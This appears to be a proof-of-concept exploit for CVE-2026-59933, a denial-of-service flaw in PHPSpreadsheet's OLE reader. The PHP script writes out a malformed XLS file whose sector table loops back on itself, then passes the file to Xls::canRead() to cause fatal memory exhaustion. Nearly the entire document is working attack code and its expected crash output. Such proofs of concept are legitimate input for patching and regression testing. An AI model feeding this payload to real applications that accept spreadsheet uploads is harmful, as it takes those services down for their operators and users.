CVE-2026-59933: PHPSpreadsheet OLE Sector-Chain Infinite Loop (DoS)

<?php
// Build a 1 KiB malformed OLE file whose SAT maps sector 0 -> sector 0 (self-loop).
// Triggers fatal memory exhaustion in OLERead::read() at line 143.
$data = str_repeat("\0", 1024);
$set = function (int $off, string $bytes) use (&$data): void {
    $data = substr_replace($data, $bytes, $off, strlen($bytes));
};
$set(0,  hex2bin('D0CF11E0A1B11AE1')); // OLE magic
$set(28, "\xfe\xff");               // byte order
$set(30, pack('v', 9));              // sector size exponent -> 512 B sectors
$set(32, pack('v', 6));              // mini sector size exponent -> 64 B
$set(44, pack('l', 1));              // 1 SAT sector
$set(48, pack('l', 0));              // directory first sector = 0
$set(56, pack('l', 4096));           // mini stream cutoff
$set(60, pack('l', 0));              // SSAT first sector = 0
$set(64, pack('l', 1));              // one SSAT sector
$set(68, pack('l', -2));             // no MSAT extension
$set(72, pack('l', 0));              // no extension sectors
$set(76, pack('l', 0));              // DIFAT[0]: SAT lives in sector 0
// KEY: SAT entry for sector 0 points back to sector 0 -> self-loop
$set(512, pack('l', 0));
file_put_contents('/tmp/selfloop.xls', $data);

// Trigger via canRead() (reachable from IOFactory auto-detection too)
require 'vendor/autoload.php';
$r = new PhpOffice\PhpSpreadsheet\Reader\Xls();
$r->canRead('/tmp/selfloop.xls');
// Fatal error: Allowed memory size exhausted in OLERead.php on line 143